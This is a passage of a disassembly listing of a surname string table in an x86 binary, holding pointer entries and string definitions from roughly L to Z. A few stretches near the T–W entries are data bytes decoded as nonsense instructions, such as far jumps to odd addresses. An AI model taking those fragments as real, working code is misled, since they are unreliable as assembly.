		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
; ---------------------------------------------------------------------------
		clc
		jmp	short loc_42E715
; ---------------------------------------------------------------------------
		align 4
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
; ---------------------------------------------------------------------------
		fsub	st(3), st
		inc	edx
		add	al, dl
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-4FFFBD15h], bh
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		test	al, 0EBh
		inc	edx
		add	[eax-67FFBD15h], ah
		jmp	short loc_42E741
; ---------------------------------------------------------------------------
		align 10h
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
; ---------------------------------------------------------------------------
		push	580042EBh

loc_42E715:				; CODE XREF: ___:0042E6D1j
		jmp	short loc_42E759
; ---------------------------------------------------------------------------
		align 4
		dd offset aUsdan	; "Usdan"
; ---------------------------------------------------------------------------
		dec	eax
		jmp	short loc_42E761
; ---------------------------------------------------------------------------
		align 10h
		dd offset aVacca	; "Vacca"
		db 38h
; ---------------------------------------------------------------------------

loc_42E725:				; CODE XREF: ___:0042E6E1j
		jmp	short loc_42E769
; ---------------------------------------------------------------------------
		align 4
		xor	bl, ch
		inc	edx
		add	[ebx+ebp*8], ah
		inc	edx
		add	[ebx+ebp*8], bl
		inc	edx
		add	[eax], dl

loc_42E735:				; CODE XREF: ___:0042E6F1j
		jmp	short loc_42E779
; ---------------------------------------------------------------------------
		align 4
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		db 0F4h
; ---------------------------------------------------------------------------

loc_42E741:				; CODE XREF: ___:0042E6FDj
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
; ---------------------------------------------------------------------------
		shr	dl, 42h
		add	[eax-4FFFBD16h], bh

loc_42E759:				; CODE XREF: ___:loc_42E715j
		jmp	far ptr	42h:0EAA40042h
; ---------------------------------------------------------------------------
		cwde

loc_42E761:				; CODE XREF: ___:0042E71Dj
		jmp	far ptr	42h:0EA8C0042h
; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------

loc_42E769:				; CODE XREF: ___:loc_42E725j
		jmp	far ptr	42h:0EA740042h
; ---------------------------------------------------------------------------
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
; ---------------------------------------------------------------------------
		pop	eax

loc_42E779:				; CODE XREF: ___:loc_42E735j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E860o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E85Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E858o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E854o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E850o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E84Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E848o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E844o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E840o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E83Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E838o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E834o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E830o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E82Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E828o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E824o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E820o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E81Co
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E818o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E814o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E810o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E80Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E808o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E804o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E800o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7FCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7F8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7F4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7F0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7ECo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7E8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7E4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7E0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7D8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7D4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7D0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E7CCo
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E7C8o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E7C4o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E7C0o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E7BCo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E7B8o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E7B4o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E7B0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E7ACo
aViano		db 'Viano',0            ; DATA XREF: ___:0042E7A8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E7A4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E7A0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E79Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E798o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E794o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E790o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E78Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E788o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E784o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E780o
		align 10h
aWengret	db 'Wengret',0
aWelsh		db 'Welsh',0
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E774o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042E770o
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E74Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E748o
		align 4
aVandenberg	db 'Vandenberg',0
		align 4
aVanzwet	db 'VanZwet',0
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042E73Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042E738o
		align 10h
aWallenberg	db 'Wallenberg',0
		align 4
aWales		db 'Wales',0
		align 4
aValencia	db 'Valencia',0
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042E720o
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042E718o
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042E70Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042E708o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042E704o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042E700o
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042E6D8o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042E6D4o
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042E6CCo
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042E6C8o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E6C4o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E6C0o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E6BCo
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E6B8o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E6B4o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E6B0o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E6ACo
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E6A8o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E6A4o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E6A0o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E69Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E698o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E694o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E690o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E68Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E688o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E684o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E680o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E67Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E678o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E674o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E670o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E66Co
		align 4
